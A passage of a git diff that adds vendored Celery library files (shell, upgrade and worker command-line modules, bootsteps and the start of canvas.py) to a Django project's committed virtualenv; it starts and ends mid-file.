app.tasks[task].AsyncResult if task else app.AsyncResult + task_result = result_cls(task_id) + value = task_result.traceback if traceback else task_result.get() + + # TODO: Prettify result + ctx.obj.echo(value) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/bin/shell.py b/django_lottopy/lib/python3.10/site-packages/celery/bin/shell.py new file mode 100644 index 00000000..378448a2 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/bin/shell.py @@ -0,0 +1,172 @@ +"""The ``celery shell`` program, used to start a REPL.""" + +import os +import sys +from importlib import import_module + +import click + +from celery.bin.base import (CeleryCommand, CeleryOption, + handle_preload_options) + + +def _invoke_fallback_shell(locals): + import code + try: + import readline + except ImportError: + pass + else: + import rlcompleter + readline.set_completer( + rlcompleter.Completer(locals).complete) + readline.parse_and_bind('tab:complete') + code.interact(local=locals) + + +def _invoke_bpython_shell(locals): + import bpython + bpython.embed(locals) + + +def _invoke_ipython_shell(locals): + for ip in (_ipython, _ipython_pre_10, + _ipython_terminal, _ipython_010, + _no_ipython): + try: + return ip(locals) + except ImportError: + pass + + +def _ipython(locals): + from IPython import start_ipython + start_ipython(argv=[], user_ns=locals) + + +def _ipython_pre_10(locals): # pragma: no cover + from IPython.frontend.terminal.ipapp import TerminalIPythonApp + app = TerminalIPythonApp.instance() + app.initialize(argv=[]) + app.shell.user_ns.update(locals) + app.start() + + +def _ipython_terminal(locals): # pragma: no cover + from IPython.terminal import embed + embed.TerminalInteractiveShell(user_ns=locals).mainloop() + + +def _ipython_010(locals): # pragma: no cover + from IPython.Shell import IPShell + IPShell(argv=[], user_ns=locals).mainloop() + + +def _no_ipython(self): # pragma: no cover + raise ImportError('no suitable ipython found') + + +def _invoke_default_shell(locals): + try: + import IPython # noqa + except ImportError: + try: + import bpython # noqa + except ImportError: + _invoke_fallback_shell(locals) + else: + _invoke_bpython_shell(locals) + else: + _invoke_ipython_shell(locals) + + +@click.command(cls=CeleryCommand) +@click.option('-I', + '--ipython', + is_flag=True, + cls=CeleryOption, + help_group="Shell Options", + help="Force IPython.") +@click.option('-B', + '--bpython', + is_flag=True, + cls=CeleryOption, + help_group="Shell Options", + help="Force bpython.") +@click.option('--python', + is_flag=True, + cls=CeleryOption, + help_group="Shell Options", + help="Force default Python shell.") +@click.option('-T', + '--without-tasks', + is_flag=True, + cls=CeleryOption, + help_group="Shell Options", + help="Don't add tasks to locals.") +@click.option('--eventlet', + is_flag=True, + cls=CeleryOption, + help_group="Shell Options", + help="Use eventlet.") +@click.option('--gevent', + is_flag=True, + cls=CeleryOption, + help_group="Shell Options", + help="Use gevent.") +@click.pass_context +@handle_preload_options +def shell(ctx, ipython=False, bpython=False, + python=False, without_tasks=False, eventlet=False, + gevent=False): + """Start shell session with convenient access to celery symbols. + + The following symbols will be added to the main globals: + - ``celery``: the current application. + - ``chord``, ``group``, ``chain``, ``chunks``, + ``xmap``, ``xstarmap`` ``subtask``, ``Task`` + - all registered tasks. + """ + sys.path.insert(0, os.getcwd()) + if eventlet: + import_module('celery.concurrency.eventlet') + if gevent: + import_module('celery.concurrency.gevent') + import celery + app = ctx.obj.app + app.loader.import_default_modules() + + # pylint: disable=attribute-defined-outside-init + locals = { + 'app': app, + 'celery': app, + 'Task': celery.Task, + 'chord': celery.chord, + 'group': celery.group, + 'chain': celery.chain, + 'chunks': celery.chunks, + 'xmap': celery.xmap, + 'xstarmap': celery.xstarmap, + 'subtask': celery.subtask, + 'signature': celery.signature, + } + + if not without_tasks: + locals.update({ + task.__name__: task for task in app.tasks.values() + if not task.name.startswith('celery.') + }) + + if python: + _invoke_fallback_shell(locals) + elif bpython: + try: + _invoke_bpython_shell(locals) + except ImportError: + ctx.obj.echo(f'{ctx.obj.ERROR}: bpython is not installed') + elif ipython: + try: + _invoke_ipython_shell(locals) + except ImportError as e: + ctx.obj.echo(f'{ctx.obj.ERROR}: {e}') + _invoke_default_shell(locals) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/bin/upgrade.py b/django_lottopy/lib/python3.10/site-packages/celery/bin/upgrade.py new file mode 100644 index 00000000..cd9a695b --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/bin/upgrade.py @@ -0,0 +1,92 @@ +"""The ``celery upgrade`` command, used to upgrade from previous versions.""" +import codecs +import sys + +import click + +from celery.app import defaults +from celery.bin.base import (CeleryCommand, CeleryOption, + handle_preload_options) +from celery.utils.functional import pass1 + + +@click.group() +@click.pass_context +@handle_preload_options +def upgrade(ctx): + """Perform upgrade between versions.""" + + +def _slurp(filename): + # TODO: Handle case when file does not exist + with codecs.open(filename, 'r', 'utf-8') as read_fh: + return [line for line in read_fh] + + +def _compat_key(key, namespace='CELERY'): + key = key.upper() + if not key.startswith(namespace): + key = '_'.join([namespace, key]) + return key + + +def _backup(filename, suffix='.orig'): + lines = [] + backup_filename = ''.join([filename, suffix]) + print(f'writing backup to {backup_filename}...', + file=sys.stderr) + with codecs.open(filename, 'r', 'utf-8') as read_fh: + with codecs.open(backup_filename, 'w', 'utf-8') as backup_fh: + for line in read_fh: + backup_fh.write(line) + lines.append(line) + return lines + + +def _to_new_key(line, keyfilter=pass1, source=defaults._TO_NEW_KEY): + # sort by length to avoid, for example, broker_transport overriding + # broker_transport_options. + for old_key in reversed(sorted(source, key=lambda x: len(x))): + new_line = line.replace(old_key, keyfilter(source[old_key])) + if line != new_line and 'CELERY_CELERY' not in new_line: + return 1, new_line # only one match per line. + return 0, line + + +@upgrade.command(cls=CeleryCommand) +@click.argument('filename') +@click.option('--django', + cls=CeleryOption, + is_flag=True, + help_group='Upgrading Options', + help='Upgrade Django project.') +@click.option('--compat', + cls=CeleryOption, + is_flag=True, + help_group='Upgrading Options', + help='Maintain backwards compatibility.') +@click.option('--no-backup', + cls=CeleryOption, + is_flag=True, + help_group='Upgrading Options', + help="Don't backup original files.") +def settings(filename, django, compat, no_backup): + """Migrate settings from Celery 3.x to Celery 4.x.""" + lines = _slurp(filename) + keyfilter = _compat_key if django or compat else pass1 + print(f'processing {filename}...', file=sys.stderr) + # gives list of tuples: ``(did_change, line_contents)`` + new_lines = [ + _to_new_key(line, keyfilter) for line in lines + ] + if any(n[0] for n in new_lines): # did have changes + if not no_backup: + _backup(filename) + with codecs.open(filename, 'w', 'utf-8') as write_fh: + for _, line in new_lines: + write_fh.write(line) + print('Changes to your setting have been made!', + file=sys.stdout) + else: + print('Does not seem to require any changes :-)', + file=sys.stdout) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/bin/worker.py b/django_lottopy/lib/python3.10/site-packages/celery/bin/worker.py new file mode 100644 index 00000000..f0629fca --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/bin/worker.py @@ -0,0 +1,355 @@ +"""Program used to start a Celery worker instance.""" + +import os +import sys + +import click +from click import ParamType +from click.types import StringParamType + +from celery import concurrency +from celery.bin.base import (COMMA_SEPARATED_LIST, LOG_LEVEL, + CeleryDaemonCommand, CeleryOption, + handle_preload_options) +from celery.concurrency.base import BasePool +from celery.exceptions import SecurityError +from celery.platforms import (EX_FAILURE, EX_OK, detached, + maybe_drop_privileges) +from celery.utils.log import get_logger +from celery.utils.nodenames import default_nodename, host_format, node_format + +logger = get_logger(__name__) + + +class CeleryBeat(ParamType): + """Celery Beat flag.""" + + name = "beat" + + def convert(self, value, param, ctx): + if ctx.obj.app.IS_WINDOWS and value: + self.fail('-B option does not work on Windows. ' + 'Please run celery beat as a separate service.') + + return value + + +class WorkersPool(click.Choice): + """Workers pool option.""" + + name = "pool" + + def __init__(self): + """Initialize the workers pool option with the relevant choices.""" + super().__init__(concurrency.get_available_pool_names()) + + def convert(self, value, param, ctx): + # Pools like eventlet/gevent needs to patch libs as early + # as possible. + if isinstance(value, type) and issubclass(value, BasePool): + return value + + value = super().convert(value, param, ctx) + worker_pool = ctx.obj.app.conf.worker_pool + if value == 'prefork' and worker_pool: + # If we got the default pool through the CLI + # we need to check if the worker pool was configured. + # If the worker pool was configured, we shouldn't use the default. + value = concurrency.get_implementation(worker_pool) + else: + value = concurrency.get_implementation(value) + + if not value: + value = concurrency.get_implementation(worker_pool) + + return value + + +class Hostname(StringParamType): + """Hostname option.""" + + name = "hostname" + + def convert(self, value, param, ctx): + return host_format(default_nodename(value)) + + +class Autoscale(ParamType): + """Autoscaling parameter.""" + + name = ", " + + def convert(self, value, param, ctx): + value = value.split(',') + + if len(value) > 2: + self.fail("Expected two comma separated integers or one integer." + f"Got {len(value)} instead.") + + if len(value) == 1: + try: + value = (int(value[0]), 0) + except ValueError: + self.fail(f"Expected an integer. Got {value} instead.") + + try: + return tuple(reversed(sorted(map(int, value)))) + except ValueError: + self.fail("Expected two comma separated integers." + f"Got {value.join(',')} instead.") + + +CELERY_BEAT = CeleryBeat() +WORKERS_POOL = WorkersPool() +HOSTNAME = Hostname() +AUTOSCALE = Autoscale() + +C_FAKEFORK = os.environ.get('C_FAKEFORK') + + +def detach(path, argv, logfile=None, pidfile=None, uid=None, + gid=None, umask=None, workdir=None, fake=False, app=None, + executable=None, hostname=None): + """Detach program by argv.""" + fake = 1 if C_FAKEFORK else fake + # `detached()` will attempt to touch the logfile to confirm that error + # messages won't be lost after detaching stdout/err, but this means we need + # to pre-format it rather than relying on `setup_logging_subsystem()` like + # we can elsewhere. + logfile = node_format(logfile, hostname) + with detached(logfile, pidfile, uid, gid, umask, workdir, fake, + after_forkers=False): + try: + if executable is not None: + path = executable + os.execv(path, [path] + argv) + return EX_OK + except Exception: # pylint: disable=broad-except + if app is None: + from celery import current_app + app = current_app + app.log.setup_logging_subsystem( + 'ERROR', logfile, hostname=hostname) + logger.critical("Can't exec %r", ' '.join([path] + argv), + exc_info=True) + return EX_FAILURE + + +@click.command(cls=CeleryDaemonCommand, + context_settings={'allow_extra_args': True}) +@click.option('-n', + '--hostname', + default=host_format(default_nodename(None)), + cls=CeleryOption, + type=HOSTNAME, + help_group="Worker Options", + help="Set custom hostname (e.g., 'w1@%%h'). " + "Expands: %%h (hostname), %%n (name) and %%d, (domain).") +@click.option('-D', + '--detach', + cls=CeleryOption, + is_flag=True, + default=False, + help_group="Worker Options", + help="Start worker as a background process.") +@click.option('-S', + '--statedb', + cls=CeleryOption, + type=click.Path(), + callback=lambda ctx, _, + value: value or ctx.obj.app.conf.worker_state_db, + help_group="Worker Options", + help="Path to the state database. The extension '.db' may be " + "appended to the filename.") +@click.option('-l', + '--loglevel', + default='WARNING', + cls=CeleryOption, + type=LOG_LEVEL, + help_group="Worker Options", + help="Logging level.") +@click.option('optimization', + '-O', + default='default', + cls=CeleryOption, + type=click.Choice(('default', 'fair')), + help_group="Worker Options", + help="Apply optimization profile.") +@click.option('--prefetch-multiplier', + type=int, + metavar="", + callback=lambda ctx, _, + value: value or ctx.obj.app.conf.worker_prefetch_multiplier, + cls=CeleryOption, + help_group="Worker Options", + help="Set custom prefetch multiplier value " + "for this worker instance.") +@click.option('-c', + '--concurrency', + type=int, + metavar="", + callback=lambda ctx, _, + value: value or ctx.obj.app.conf.worker_concurrency, + cls=CeleryOption, + help_group="Pool Options", + help="Number of child processes processing the queue. " + "The default is the number of CPUs available" + " on your system.") +@click.option('-P', + '--pool', + default='prefork', + type=WORKERS_POOL, + cls=CeleryOption, + help_group="Pool Options", + help="Pool implementation.") +@click.option('-E', + '--task-events', + '--events', + is_flag=True, + default=None, + cls=CeleryOption, + help_group="Pool Options", + help="Send task-related events that can be captured by monitors" + " like celery events, celerymon, and others.") +@click.option('--time-limit', + type=float, + cls=CeleryOption, + help_group="Pool Options", + help="Enables a hard time limit " + "(in seconds int/float) for tasks.") +@click.option('--soft-time-limit', + type=float, + cls=CeleryOption, + help_group="Pool Options", + help="Enables a soft time limit " + "(in seconds int/float) for tasks.") +@click.option('--max-tasks-per-child', + type=int, + cls=CeleryOption, + help_group="Pool Options", + help="Maximum number of tasks a pool worker can execute before " + "it's terminated and replaced by a new worker.") +@click.option('--max-memory-per-child', + type=int, + cls=CeleryOption, + help_group="Pool Options", + help="Maximum amount of resident memory, in KiB, that may be " + "consumed by a child process before it will be replaced " + "by a new one. If a single task causes a child process " + "to exceed this limit, the task will be completed and " + "the child process will be replaced afterwards.\n" + "Default: no limit.") +@click.option('--purge', + '--discard', + is_flag=True, + cls=CeleryOption, + help_group="Queue Options") +@click.option('--queues', + '-Q', + type=COMMA_SEPARATED_LIST, + cls=CeleryOption, + help_group="Queue Options") +@click.option('--exclude-queues', + '-X', + type=COMMA_SEPARATED_LIST, + cls=CeleryOption, + help_group="Queue Options") +@click.option('--include', + '-I', + type=COMMA_SEPARATED_LIST, + cls=CeleryOption, + help_group="Queue Options") +@click.option('--without-gossip', + is_flag=True, + cls=CeleryOption, + help_group="Features") +@click.option('--without-mingle', + is_flag=True, + cls=CeleryOption, + help_group="Features") +@click.option('--without-heartbeat', + is_flag=True, + cls=CeleryOption, + help_group="Features", ) +@click.option('--heartbeat-interval', + type=int, + cls=CeleryOption, + help_group="Features", ) +@click.option('--autoscale', + type=AUTOSCALE, + cls=CeleryOption, + help_group="Features", ) +@click.option('-B', + '--beat', + type=CELERY_BEAT, + cls=CeleryOption, + is_flag=True, + help_group="Embedded Beat Options") +@click.option('-s', + '--schedule-filename', + '--schedule', + callback=lambda ctx, _, + value: value or ctx.obj.app.conf.beat_schedule_filename, + cls=CeleryOption, + help_group="Embedded Beat Options") +@click.option('--scheduler', + cls=CeleryOption, + help_group="Embedded Beat Options") +@click.pass_context +@handle_preload_options +def worker(ctx, hostname=None, pool_cls=None, app=None, uid=None, gid=None, + loglevel=None, logfile=None, pidfile=None, statedb=None, + **kwargs): + """Start worker instance. + + Examples + -------- + $ celery --app=proj worker -l INFO + $ celery -A proj worker -l INFO -Q hipri,lopri + $ celery -A proj worker --concurrency=4 + $ celery -A proj worker --concurrency=1000 -P eventlet + $ celery worker --autoscale=10,0 + + """ + try: + app = ctx.obj.app + if ctx.args: + try: + app.config_from_cmdline(ctx.args, namespace='worker') + except (KeyError, ValueError) as e: + # TODO: Improve the error messages + raise click.UsageError( + "Unable to parse extra configuration from command line.\n" + f"Reason: {e}", ctx=ctx) + if kwargs.get('detach', False): + argv = ['-m', 'celery'] + sys.argv[1:] + if '--detach' in argv: + argv.remove('--detach') + if '-D' in argv: + argv.remove('-D') + + return detach(sys.executable, + argv, + logfile=logfile, + pidfile=pidfile, + uid=uid, gid=gid, + umask=kwargs.get('umask', None), + workdir=kwargs.get('workdir', None), + app=app, + executable=kwargs.get('executable', None), + hostname=hostname) + + maybe_drop_privileges(uid=uid, gid=gid) + worker = app.Worker( + hostname=hostname, pool_cls=pool_cls, loglevel=loglevel, + logfile=logfile, # node format handled by celery.app.log.setup + pidfile=node_format(pidfile, hostname), + statedb=node_format(statedb, hostname), + no_color=ctx.obj.no_color, + quiet=ctx.obj.quiet, + **kwargs) + worker.start() + return worker.exitcode + except SecurityError as e: + ctx.obj.error(e.args[0]) + ctx.exit(1) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/bootsteps.py b/django_lottopy/lib/python3.10/site-packages/celery/bootsteps.py new file mode 100644 index 00000000..315426ac --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/bootsteps.py @@ -0,0 +1,415 @@ +"""A directed acyclic graph of reusable components.""" + +from collections import deque +from threading import Event + +from kombu.common import ignore_errors +from kombu.utils.encoding import bytes_to_str +from kombu.utils.imports import symbol_by_name + +from .utils.graph import DependencyGraph, GraphFormatter +from .utils.imports import instantiate, qualname +from .utils.log import get_logger + +try: + from greenlet import GreenletExit +except ImportError: # pragma: no cover + IGNORE_ERRORS = () +else: + IGNORE_ERRORS = (GreenletExit,) + +__all__ = ('Blueprint', 'Step', 'StartStopStep', 'ConsumerStep') + +#: States +RUN = 0x1 +CLOSE = 0x2 +TERMINATE = 0x3 + +logger = get_logger(__name__) + + +def _pre(ns, fmt): + return f'| {ns.alias}: {fmt}' + + +def _label(s): + return s.name.rsplit('.', 1)[-1] + + +class StepFormatter(GraphFormatter): + """Graph formatter for :class:`Blueprint`.""" + + blueprint_prefix = '⧉' + conditional_prefix = '∘' + blueprint_scheme = { + 'shape': 'parallelogram', + 'color': 'slategray4', + 'fillcolor': 'slategray3', + } + + def label(self, step): + return step and '{}{}'.format( + self._get_prefix(step), + bytes_to_str( + (step.label or _label(step)).encode('utf-8', 'ignore')), + ) + + def _get_prefix(self, step): + if step.last: + return self.blueprint_prefix + if step.conditional: + return self.conditional_prefix + return '' + + def node(self, obj, **attrs): + scheme = self.blueprint_scheme if obj.last else self.node_scheme + return self.draw_node(obj, scheme, attrs) + + def edge(self, a, b, **attrs): + if a.last: + attrs.update(arrowhead='none', color='darkseagreen3') + return self.draw_edge(a, b, self.edge_scheme, attrs) + + +class Blueprint: + """Blueprint containing bootsteps that can be applied to objects. + + Arguments: + steps Sequence[Union[str, Step]]: List of steps. + name (str): Set explicit name for this blueprint. + on_start (Callable): Optional callback applied after blueprint start. + on_close (Callable): Optional callback applied before blueprint close. + on_stopped (Callable): Optional callback applied after + blueprint stopped. + """ + + GraphFormatter = StepFormatter + + name = None + state = None + started = 0 + default_steps = set() + state_to_name = { + 0: 'initializing', + RUN: 'running', + CLOSE: 'closing', + TERMINATE: 'terminating', + } + + def __init__(self, steps=None, name=None, + on_start=None, on_close=None, on_stopped=None): + self.name = name or self.name or qualname(type(self)) + self.types = set(steps or []) | set(self.default_steps) + self.on_start = on_start + self.on_close = on_close + self.on_stopped = on_stopped + self.shutdown_complete = Event() + self.steps = {} + + def start(self, parent): + self.state = RUN + if self.on_start: + self.on_start() + for i, step in enumerate(s for s in parent.steps if s is not None): + self._debug('Starting %s', step.alias) + self.started = i + 1 + step.start(parent) + logger.debug('^-- substep ok') + + def human_state(self): + return self.state_to_name[self.state or 0] + + def info(self, parent): + info = {} + for step in parent.steps: + info.update(step.info(parent) or {}) + return info + + def close(self, parent): + if self.on_close: + self.on_close() + self.send_all(parent, 'close', 'closing', reverse=False) + + def restart(self, parent, method='stop', + description='restarting', propagate=False): + self.send_all(parent, method, description, propagate=propagate) + + def send_all(self, parent, method, + description=None, reverse=True, propagate=True, args=()): + description = description or method.replace('_', ' ') + steps = reversed(parent.steps) if reverse else parent.steps + for step in steps: + if step: + fun = getattr(step, method, None) + if fun is not None: + self._debug('%s %s...', + description.capitalize(), step.alias) + try: + fun(parent, *args) + except Exception as exc: # pylint: disable=broad-except + if propagate: + raise + logger.exception( + 'Error on %s %s: %r', description, step.alias, exc) + + def stop(self, parent, close=True, terminate=False): + what = 'terminating' if terminate else 'stopping' + if self.state in (CLOSE, TERMINATE): + return + + if self.state != RUN or self.started != len(parent.steps): + # Not fully started, can safely exit. + self.state = TERMINATE + self.shutdown_complete.set() + return + self.close(parent) + self.state = CLOSE + + self.restart( + parent, 'terminate' if terminate else 'stop', + description=what, propagate=False, + ) + + if self.on_stopped: + self.on_stopped() + self.state = TERMINATE + self.shutdown_complete.set() + + def join(self, timeout=None): + try: + # Will only get here if running green, + # makes sure all greenthreads have exited. + self.shutdown_complete.wait(timeout=timeout) + except IGNORE_ERRORS: + pass + + def apply(self, parent, **kwargs): + """Apply the steps in this blueprint to an object. + + This will apply the ``__init__`` and ``include`` methods + of each step, with the object as argument:: + + step = Step(obj) + ... + step.include(obj) + + For :class:`StartStopStep` the services created + will also be added to the objects ``steps`` attribute. + """ + self._debug('Preparing bootsteps.') + order = self.order = [] + steps = self.steps = self.claim_steps() + + self._debug('Building graph...') + for S in self._finalize_steps(steps): + step = S(parent, **kwargs) + steps[step.name] = step + order.append(step) + self._debug('New boot order: {%s}', + ', '.join(s.alias for s in self.order)) + for step in order: + step.include(parent) + return self + + def connect_with(self, other): + self.graph.adjacent.update(other.graph.adjacent) + self.graph.add_edge(type(other.order[0]), type(self.order[-1])) + + def __getitem__(self, name): + return self.steps[name] + + def _find_last(self): + return next((C for C in self.steps.values() if C.last), None) + + def _firstpass(self, steps): + for step in steps.values(): + step.requires = [symbol_by_name(dep) for dep in step.requires] + stream = deque(step.requires for step in steps.values()) + while stream: + for node in stream.popleft(): + node = symbol_by_name(node) + if node.name not in self.steps: + steps[node.name] = node + stream.append(node.requires) + + def _finalize_steps(self, steps): + last = self._find_last() + self._firstpass(steps) + it = ((C, C.requires) for C in steps.values()) + G = self.graph = DependencyGraph( + it, formatter=self.GraphFormatter(root=last), + ) + if last: + for obj in G: + if obj != last: + G.add_edge(last, obj) + try: + return G.topsort() + except KeyError as exc: + raise KeyError('unknown bootstep: %s' % exc) + + def claim_steps(self): + return dict(self.load_step(step) for step in self.types) + + def load_step(self, step): + step = symbol_by_name(step) + return step.name, step + + def _debug(self, msg, *args): + return logger.debug(_pre(self, msg), *args) + + @property + def alias(self): + return _label(self) + + +class StepType(type): + """Meta-class for steps.""" + + name = None + requires = None + + def __new__(cls, name, bases, attrs): + module = attrs.get('__module__') + qname = f'{module}.{name}' if module else name + attrs.update( + __qualname__=qname, + name=attrs.get('name') or qname, + ) + return super().__new__(cls, name, bases, attrs) + + def __str__(cls): + return cls.name + + def __repr__(cls): + return 'step:{0.name}{{{0.requires!r}}}'.format(cls) + + +class Step(metaclass=StepType): + """A Bootstep. + + The :meth:`__init__` method is called when the step + is bound to a parent object, and can as such be used + to initialize attributes in the parent object at + parent instantiation-time. + """ + + #: Optional step name, will use ``qualname`` if not specified. + name = None + + #: Optional short name used for graph outputs and in logs. + label = None + + #: Set this to true if the step is enabled based on some condition. + conditional = False + + #: List of other steps that that must be started before this step. + #: Note that all dependencies must be in the same blueprint. + requires = () + + #: This flag is reserved for the workers Consumer, + #: since it is required to always be started last. + #: There can only be one object marked last + #: in every blueprint. + last = False + + #: This provides the default for :meth:`include_if`. + enabled = True + + def __init__(self, parent, **kwargs): + pass + + def include_if(self, parent): + """Return true if bootstep should be included. + + You can define this as an optional predicate that decides whether + this step should be created. + """ + return self.enabled + + def instantiate(self, name, *args, **kwargs): + return instantiate(name, *args, **kwargs) + + def _should_include(self, parent): + if self.include_if(parent): + return True, self.create(parent) + return False, None + + def include(self, parent): + return self._should_include(parent)[0] + + def create(self, parent): + """Create the step.""" + + def __repr__(self): + return f'' + + @property + def alias(self): + return self.label or _label(self) + + def info(self, obj): + pass + + +class StartStopStep(Step): + """Bootstep that must be started and stopped in order.""" + + #: Optional obj created by the :meth:`create` method. + #: This is used by :class:`StartStopStep` to keep the + #: original service object. + obj = None + + def start(self, parent): + if self.obj: + return self.obj.start() + + def stop(self, parent): + if self.obj: + return self.obj.stop() + + def close(self, parent): + pass + + def terminate(self, parent): + if self.obj: + return getattr(self.obj, 'terminate', self.obj.stop)() + + def include(self, parent): + inc, ret = self._should_include(parent) + if inc: + self.obj = ret + parent.steps.append(self) + return inc + + +class ConsumerStep(StartStopStep): + """Bootstep that starts a message consumer.""" + + requires = ('celery.worker.consumer:Connection',) + consumers = None + + def get_consumers(self, channel): + raise NotImplementedError('missing get_consumers') + + def start(self, c): + channel = c.connection.channel() + self.consumers = self.get_consumers(channel) + for consumer in self.consumers or []: + consumer.consume() + + def stop(self, c): + self._close(c, True) + + def shutdown(self, c): + self._close(c, False) + + def _close(self, c, cancel_consumers=True): + channels = set() + for consumer in self.consumers or []: + if cancel_consumers: + ignore_errors(c.connection, consumer.cancel) + if consumer.channel: + channels.add(consumer.channel) + for channel in channels: + ignore_errors(c.connection, channel.close) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/canvas.py b/django_lottopy/lib/python3.10/site-packages/celery/canvas.py new file mode 100644 index 00000000..e0b55389 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/canvas.py @@ -0,0 +1,1637 @@ +"""Composing task work-flows. + +.. seealso: + + You should import these from :mod:`celery` and not this module. +""" + +import itertools +import operator +from collections import deque +from collections.abc import MutableSequence +from copy import deepcopy +from functools import partial as _partial +from functools import reduce +from operator import itemgetter +from types import GeneratorType + +from kombu.utils.functional import fxrange, reprcall +from kombu.utils.objects import cached_property +from kombu.utils.uuid import uuid +from vine import barrier + +from celery._state import current_app +from celery.result import GroupResult, allow_join_result +from celery.utils import abstract +from celery.utils.collections import ChainMap +from celery.utils.functional import _regen +from celery.utils.functional import chunks as _chunks +from celery.utils.functional import (is_list, lookahead, maybe_list, regen, + seq_concat_item, seq_concat_seq) +from celery.utils.objects import getitem_property +from celery.utils.text import remove_repeating_from_task, truncate + +__all__ = ( + 'Signature', 'chain', 'xmap', 'xstarmap', 'chunks', + 'group', 'chord', 'signature', 'maybe_signature', +) + + +def maybe_unroll_group(group): + """Unroll group with only one member.""" + # Issue #1656 + try: + size = len(group.tasks) + except TypeError: + try: + size = group.tasks.__length_hint__() + except (AttributeError, TypeError): + return group + else: + return list(group.tasks)[0] if size == 1 else group + else: + return group.tasks[0] if size == 1 else group + + +def task_name_from(task): + return getattr(task, 'name', task) + + +@abstract.CallableSignature.register +class Signature(dict): + """Task Signature. + + Class that wraps the arguments and execution options + for a single task invocation. + + Used as the parts in a :class:`group` and other constructs, + or to pass tasks around as callbacks while being compatible + with serializers with a strict type subset. + + Signatures can also be created from tasks: + + - Using the ``.signature()`` method that has the same signature + as ``Task.apply_async``: + + .. code-block:: pycon + + >>> add.signature(args=(1,), kwargs={'kw': 2}, options={}) + + - or the ``.s()`` shortcut that works for star arguments: + + .. code-block:: pycon + + >>> add.s(1, kw=2) + + - the ``.s()`` shortcut does not allow you to specify execution options + but there's a chaning `.set` method that returns the signature: + + .. code-block:: pycon + + >>> add.s(2, 2).set(countdown=10).set(expires=30).delay() + + Note: + You should use :func:`~celery.signature` to create new signatures. + The ``Signature`` class is the type returned by that function and + should be used for ``isinstance`` checks for signatures. + + See Also: + :ref:`guide-canvas` for the complete guide. + + Arguments: + task (Union[Type[celery.app.task.Task], str]): Either a task + class/instance, or the name of a task. + args (Tuple): Positional arguments to apply. + kwargs (Dict): Keyword arguments to apply. + options (Dict): Additional options to :meth:`Task.apply_async`. + + Note: + If the first argument is a :class:`dict`, the other + arguments will be ignored and the values in the dict will be used + instead:: + + >>> s = signature('tasks.add', args=(2, 2)) + >>> signature(s) + {'task': 'tasks.add', args=(2, 2), kwargs={}, options={}} + """ + + TYPES = {} + _app = _type = None + # The following fields must not be changed during freezing/merging because + # to do so would disrupt completion of parent tasks + _IMMUTABLE_OPTIONS = {"group_id"} + + @classmethod + def register_type(cls, name=None): + def _inner(subclass): + cls.TYPES[name or subclass.__name__] = subclass + return subclass + + return _inner + + @classmethod + def from_dict(cls, d, app=None): + typ = d.get('subtask_type') + if typ: + target_cls = cls.TYPES[typ] + if target_cls is not cls: + return target_cls.from_dict(d, app=app) + return Signature(d, app=app) + + def __init__(self, task=None, args=None, kwargs=None, options=None, + type=None, subtask_type=None, immutable=False, + app=None, **ex): + self._app = app + + if isinstance(task, dict): + super().__init__(task) # works like dict(d) + else: + # Also supports using task class/instance instead of string name. + try: + task_name = task.name + except AttributeError: + task_name = task + else: + self._type = task + + super().__init__( + task=task_name, args=tuple(args or ()), + kwargs=kwargs or {}, + options=dict(options or {}, **ex), + subtask_type=subtask_type, + immutable=immutable, + ) + + def __call__(self, *partial_args, **partial_kwargs): + """Call the task directly (in the current process).""" + args, kwargs, _ = self._merge(partial_args, partial_kwargs, None) + return self.type(*args, **kwargs) + + def delay(self, *partial_args, **partial_kwargs): + """Shortcut to :meth:`apply_async` using star arguments.""" + return self.apply_async(partial_args, partial_kwargs) + + def apply(self, args=None, kwargs=None, **options): + """Call task locally. + + Same as :meth:`apply_async` but executed the task inline instead + of sending a task message. + """ + args = args if args else () + kwargs = kwargs if kwargs else {} + # Extra options set to None are dismissed + options = {k: v for k, v in options.items() if v is not None} + # For callbacks: extra args are prepended to the stored args. + args, kwargs, options = self._merge(args, kwargs, options) + return self.type.apply(args, kwargs, **options) + + def apply_async(self, args=None, kwargs=None, route_name=None, **options): + """Apply this task asynchronously. + + Arguments: + args (Tuple): Partial args to be prepended to the existing args. + kwargs (Dict): Partial kwargs to be merged with existing kwargs. + options (Dict): Partial options to be merged + with existing options. + + Returns: + ~@AsyncResult: promise of future evaluation. + + See also: + :meth:`~@Task.apply_async` and the :ref:`guide-calling` guide. + """ + args = args if args else () + kwargs = kwargs if kwargs else {} + # Extra options set to None are dismissed + options = {k: v for k, v in options.items() if v is not None} + try: + _apply = self._apply_async + except IndexError: # pragma: no cover + # no tasks for chain, etc to find type + return + # For callbacks: extra args are prepended to the stored args. + if args or kwargs or options: + args, kwargs, options = self._merge(args, kwargs, options) + else: + args, kwargs, options = self.args, self.kwargs, self.options + # pylint: disable=too-many-function-args + # Borks on this, as it's a property + return _apply(args, kwargs, **options) + + def _merge(self, args=None, kwargs=None, options=None, force=False): + args = args if args else () + kwargs = kwargs if kwargs else {} + if options is not None: + # We build a new options dictionary where values in `options` + # override values in `self.options` except for keys which are + # noted as being immutable (unrelated to signature immutability) + # implying that allowing their value to change would stall tasks + new_options = dict(self.options, **{ + k: v for k, v in options.items() + if k not in self._IMMUTABLE_OPTIONS or k not in self.options + }) + else: + new_options = self.options + if self.immutable and not force: + return (self.args, self.kwargs, new_options) + return (tuple(args) + tuple(self.args) if args else self.args, + dict(self.kwargs, **kwargs) if kwargs else self.kwargs, + new_options) + + def clone(self, args=None, kwargs=None, **opts): + """Create a copy of this signature. + + Arguments: + args (Tuple): Partial args to be prepended to the existing args. + kwargs (Dict): Partial kwargs to be merged with existing kwargs. + options (Dict): Partial options to be merged with + existing options. + """ + args = args if args else () + kwargs = kwargs if kwargs else {} + # need to deepcopy options so origins links etc. is not modified. + if args or kwargs or opts: + args, kwargs, opts = self._merge(args, kwargs, opts) + else: + args, kwargs, opts = self.args, self.kwargs, self.options + signature = Signature.from_dict({'task': self.task, + 'args': tuple(args), + 'kwargs': kwargs, + 'options': deepcopy(opts), + 'subtask_type': 